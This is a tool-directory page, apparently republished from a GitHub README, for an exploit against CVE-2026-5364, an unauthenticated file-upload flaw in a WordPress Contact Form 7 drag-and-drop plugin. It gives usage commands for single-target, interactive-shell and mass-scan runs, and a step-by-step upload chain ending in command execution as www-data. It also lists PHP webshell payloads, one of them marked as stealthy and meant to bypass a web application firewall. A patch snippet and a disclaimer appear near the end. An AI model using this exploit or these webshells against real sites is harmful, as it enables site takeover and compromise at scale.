Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-5364 — CVE-2026-5364 è una vulnerabilità di upload arbitrario di file non autenticato, con punteggio CVSS 8.1 (Alta), nel plugin Drag and Drop File Upload for Contact Form 7. | Kitploit
Strumenti/GitHubGitHub/xxconi/cve-2026-5364
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingSviluppo Payload
GitHubxxconi/cve-2026-5364

CVE-2026-5364

CVE-2026-5364 è una vulnerabilità di upload arbitrario di file non autenticato, con punteggio CVSS 8.1 (Alta), nel plugin Drag and Drop File Upload for Contact Form 7.

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-5364

CVE-2026-5364 è una vulnerabilità di upload arbitrario di file non autenticato con punteggio CVSS 8.1 (Alto) nel plugin Drag and Drop File Upload for Contact Form 7

CVE-2026-5364 — CF7 Drag & Drop File Upload RCE

Upload arbitrario di file non autenticato tramite bypass di sanitize_file_name() CVSS 8.1 (Alto) | Versioni interessate: <= 1.1.3 | Versione corretta: 1.1.4


📋 Panoramica

CampoValore
CVE IDCVE-2026-5364
PluginDrag and Drop File Upload for Contact Form 7
Slugdrag-and-drop-file-upload-for-contact-form-7
CVSS8.1 (Alto)
VettoreCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Versioni interessate<= 1.1.3
Versione corretta1.1.4
RicercatoreThomas Sanzey
Pubblicazione23 aprile 2026

🔍 Riepilogo della vulnerabilità

Il plugin legge l'estensione del file prima della sanificazione di sanitize_file_name(). Un attaccante carica un file chiamato shell.php$:

root@kitploit:~
pathinfo('shell.php$', PATHINFO_EXTENSION)  →  'php$'   ← blacklist'i atlatır
sanitize_file_name('shell.php$')            →  'shell.php'  ← PHP olarak kaydedilir

Una catena di tre debolezze indipendenti:

  1. Allowlist controllata dall'attaccante — il parametro POST type viene letto dall'utente
  2. Estensione prima della sanificazione — pathinfo() viene applicato al nome file grezzo
  3. Sanificazione tardiva — sanitize_file_name() all'interno di wp_unique_filename() rimuove il carattere $

⚙️ Installazione

root@kitploit:~
git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests

Requisiti

  • Python 3.8+
  • Libreria requests
  • Target: WordPress + CF7 D&D Upload <= 1.1.3 + una pagina con un modulo CF7

🚀 Utilizzo

Singolo target

root@kitploit:~
# Temel exploit (id komutu)
python CVE-2026-5364.py -u https://target.com

# Özel komut
python CVE-2026-5364.py -u https://target.com -c "whoami"

# İnteraktif shell
python CVE-2026-5364.py -u https://target.com --interactive

# Farklı shell tipi
python CVE-2026-5364.py -u https://target.com --shell exec

# Verbose + proxy
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080

Scansione di massa

root@kitploit:~
# 20 thread ile tarama
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt

# Yamalı sürümleri de dene
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30

# Sonuçları dosyaya kaydet
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt

Tutti i parametri

root@kitploit:~
Hedef:
  -u, --url URL         Tek hedef URL
  -l, --list FILE       Hedef listesi (satır başı URL)

Exploit:
  -c, --cmd CMD         OS komutu (varsayılan: id)
  --shell TYPE          Webshell tipi: basic|exec|pass|eval|info
  -i, --interactive     İnteraktif shell aç
  --no-skip-patched     Yamalı sürümleri de dene

Tarama:
  -t, --threads N       Thread sayısı (varsayılan: 10)
  --timeout S           Timeout saniye (varsayılan: 15)
  --proxy URL           Proxy adresi

Çıktı:
  -o, --output FILE     Sonuç dosyası
  -v, --verbose         Ayrıntılı çıktı
  --no-color            Renksiz çıktı

🐚 Tipi di webshell


🔬 Dettagli tecnici

Catena di exploit

root@kitploit:~
1. Nonce Tespiti
   └─ wp_localize_script() ile her ziyaretçiye açık
      GET /contact/ → HTML içinde "nonce":"abc123def4"

2. Shell Yükleme
   └─ POST /wp-admin/admin-ajax.php
      action=cf7_file_uploads
      nonce=abc123def4
      type=php$          ← blacklist'te yok
      file=shell.php$    ← sanitize_file_name() → shell.php

3. URL Alma
   └─ Response: {"status":"ok","text":"https://target.com/wp-content/
                 uploads/cf7-uploads-custom/6831a2f4b3c12.php"}

4. RCE
   └─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)

Caratteri di bypass

Caratteri rimossi da sanitize_file_name():

root@kitploit:~
$  %  ~  `  (boşluk)

Lo strumento prova automaticamente tutti i caratteri di bypass.


🛡️ Fattori mitiganti


🩹 Soluzione

Aggiornare il plugin alla versione 1.1.4 o successiva.

root@kitploit:~
# WP-CLI ile güncelleme
wp plugin update drag-and-drop-file-upload-for-contact-form-7

Correzione del codice (1.1.4)

root@kitploit:~
// YANLIŞ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);

// DOĞRU (1.1.4)
$clean_name     = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);

// type parametresi artık admin ayarından okunuyor
$type = $this->get_admin_allowed_types($form_id);  // POST'tan değil

⚠️ Avviso legale

Questo strumento è stato sviluppato solo per ricerche sulla sicurezza a scopo educativo e difensivo. L'uso su sistemi non autorizzati è vietato e può avere conseguenze legali. Utilizzatelo solo su sistemi per i quali avete ottenuto l'autorizzazione.


📄 Riferimenti

  • Wordfence Advisory
  • WordPress Plugin Page
  • NVD CVE-2026-5364
  • sanitize_file_name() Docs
Scarica lo strumento
TipoPayloadUtilizzo
basic<?php system($_GET["cmd"]); ?>Scopo generale
exec<?php echo shell_exec($_GET["cmd"]); ?>Output completo
pass<?php passthru($_GET["cmd"]); ?>Output binario
eval<?php @eval(base64_decode($_POST["x"])); ?>Furtivo/bypass WAF
info<?php phpinfo(); ?>Informazioni PHP
FattoreEffetto
Apache .htaccess (Content-Disposition: attachment)Impedisce l'esecuzione di PHP
Nginx / LiteSpeed.htaccess non valido — RCE possibile
Nome file casuale (uniqid())Inefficace perché la risposta AJAX restituisce l'URL
NonceProtezione CSRF — non autenticazione, inefficace